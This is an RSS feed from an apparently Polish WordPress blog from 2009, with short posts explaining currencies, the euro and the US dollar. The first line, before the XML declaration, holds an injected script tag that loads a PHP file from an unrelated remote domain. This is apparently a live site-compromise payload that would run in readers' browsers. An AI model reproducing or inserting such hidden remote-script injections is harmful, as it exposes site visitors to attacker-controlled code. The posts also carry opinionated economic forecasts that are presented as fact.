<script src=http://music-zik.com/images/mp3_rai_chebbilal.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Waluty</title>
	<atom:link href="http://www.waluty.darussepblog.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.waluty.darussepblog.info</link>
	<description>www.waluty.darussepblog.info</description>
	<pubDate>Sat, 30 May 2009 16:31:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Waluty</title>
		<link>http://www.waluty.darussepblog.info/waluty/</link>
		<comments>http://www.waluty.darussepblog.info/waluty/#comments</comments>
		<pubDate>Sat, 30 May 2009 16:31:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Waluty]]></category>

		<guid isPermaLink="false">http://www.waluty.darussepblog.info/?p=8</guid>
		<description><![CDATA[Wyrażenie &#8220;waluta&#8221; oznacza właściwie tyle co &#8220;pieniądz&#8221;, ale używane jest w innym kontekście - najczęściej w powiązaniu do międzynarodowej wymiany pieniędzy. O walucie mówi się również w rozumieniu: waluta narodowa - dla odróżnienia walut używanych w innych krajach. Bowiem w każdym kraju albo każdej strefie ekonomicznej, tworzonej przez kilka krajów wybiera się oficjalny środek płatniczy. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-7" style="margin: 5px;" title="waluty" src="http://www.waluty.darussepblog.info/wp-content/uploads/2009/05/waluty-150x150.jpg" alt="waluty" width="150" height="150" />Wyrażenie &#8220;waluta&#8221; oznacza właściwie tyle co &#8220;pieniądz&#8221;, ale używane jest w innym kontekście - najczęściej w powiązaniu do międzynarodowej wymiany pieniędzy. O walucie mówi się również w rozumieniu: waluta narodowa - dla odróżnienia walut używanych w innych krajach. Bowiem w każdym kraju albo każdej strefie ekonomicznej, tworzonej przez kilka krajów wybiera się oficjalny środek płatniczy. Zatem najważniejsza cechą waluty jest jest wymienialność. Stosunek wartości poszczególnych walut nazywamy kursem walut i wymiana występuje na jego podstawie. Kurs ustalany jest na bieżąco poprzez analizę zainteresowania kupnem/sprzedażą poszczególnych walut.<br />
<span id="more-8"></span><br />
Waluty dzielimy na tak zwane &#8220;twarde&#8221; oraz &#8220;słabe&#8221; (niekiedy &#8220;miękkie&#8221;). Twarde są uznawane i wymienialne na całym świecie (to m.in. dolar amerykański i euro). Słabe waluty wymieniane są na określonym terenie i ograniczony sposób.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.waluty.darussepblog.info/waluty/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Euro</title>
		<link>http://www.waluty.darussepblog.info/euro/</link>
		<comments>http://www.waluty.darussepblog.info/euro/#comments</comments>
		<pubDate>Sat, 30 May 2009 16:29:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Euro]]></category>

		<guid isPermaLink="false">http://www.waluty.darussepblog.info/?p=5</guid>
		<description><![CDATA[Tą waluta na co dzień posługuje się ponad pół miliarda ludzi (czyli około jednej dwunastej ludzkości). Stanowi ona oficjalną walutę Strefy Euro (dokładnie to Unii Walutowej), czyli grupy państw należących do Unii Europejskiej, ale na podstawie dodatkowych umów używana jest oficjalnie również w Monako, San Marino i w Watykanie. Oprócz tego kilka państw wprowadziło nieoficjalnie [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4" style="margin: 5px;" title="euro" src="http://www.waluty.darussepblog.info/wp-content/uploads/2009/05/euro-150x150.jpg" alt="euro" width="150" height="150" />Tą waluta na co dzień posługuje się ponad pół miliarda ludzi (czyli około jednej dwunastej ludzkości). Stanowi ona oficjalną walutę Strefy Euro (dokładnie to Unii Walutowej), czyli grupy państw należących do Unii Europejskiej, ale na podstawie dodatkowych umów używana jest oficjalnie również w Monako, San Marino i w Watykanie. Oprócz tego kilka państw wprowadziło nieoficjalnie tą walutę do użytku w swoich państwach, a dokładnie rzecz biorąc to jest to: Andora, Czarnogóra i Kosowo.<br />
<span id="more-5"></span><br />
Jedno Euro dzieli się na sto eurocentów. Ale mało kto myśli o takich drobniakach gdy mowa o Euro. To w tą walutę przypada 27% światowych rezerw walutowych! Dlatego też zaczyna grac ona wiodącą rolę na świecie i niebawem wyprze z tej funkcji Amerykański Dolar, który ma się coraz gorzej, a ostatni decyzje rządu Obamy mogą tę sytuację tylko pogorszyć.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.waluty.darussepblog.info/euro/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dolar amerykański</title>
		<link>http://www.waluty.darussepblog.info/dolar-amerykanski/</link>
		<comments>http://www.waluty.darussepblog.info/dolar-amerykanski/#comments</comments>
		<pubDate>Sat, 30 May 2009 16:28:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Dolar]]></category>

		<guid isPermaLink="false">http://www.waluty.darussepblog.info/?p=1</guid>
		<description><![CDATA[United States Dollar to oficjalna waluta nie tylko Stanów Zjednoczonych ale również Portoryko, Federacji Mikronezji, Ekwadoru, Wysp Marshalla, Salwadoru, Timoru Wschodniego i Palau. Jednak są to małe państwa i ilość użytkowników tej waluty nie może i nigdy nie zrówna się z ilością użytkowników Euro. Chociaż nadal uważana jest za symbol bogactwa i postępu, to jednak [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-2" style="margin: 5px;" title="dollar" src="http://www.waluty.darussepblog.info/wp-content/uploads/2009/05/dollar-150x150.jpg" alt="dollar" width="150" height="150" />United States Dollar to oficjalna waluta nie tylko Stanów Zjednoczonych ale również Portoryko, Federacji Mikronezji, Ekwadoru, Wysp Marshalla, Salwadoru, Timoru Wschodniego i Palau. Jednak są to małe państwa i ilość użytkowników tej waluty nie może i nigdy nie zrówna się z ilością użytkowników Euro. Chociaż nadal uważana jest za symbol bogactwa i postępu, to jednak jej fundamenty stają się coraz bardziej kruche i niebawem może stać się symbolem porażki. Dolar jest obecnie walutą płynną, czyli taką która nie ma odbicia w wartości materialnej, np. w cennych kruszcach - złocie, czy srebrze. Chociaż dawniej opierała się na tak zwanym parypecie złota.<br />
<span id="more-1"></span><br />
Z tą walutą wiąże się wiele ciekawostek. Mało kto wie, że istnieją bardzo wysokie nominały banknotów takie jak: 5.000, 10.000 oraz 100.000 - jednak są już obecnie zupełnie niespotykane.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.waluty.darussepblog.info/dolar-amerykanski/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
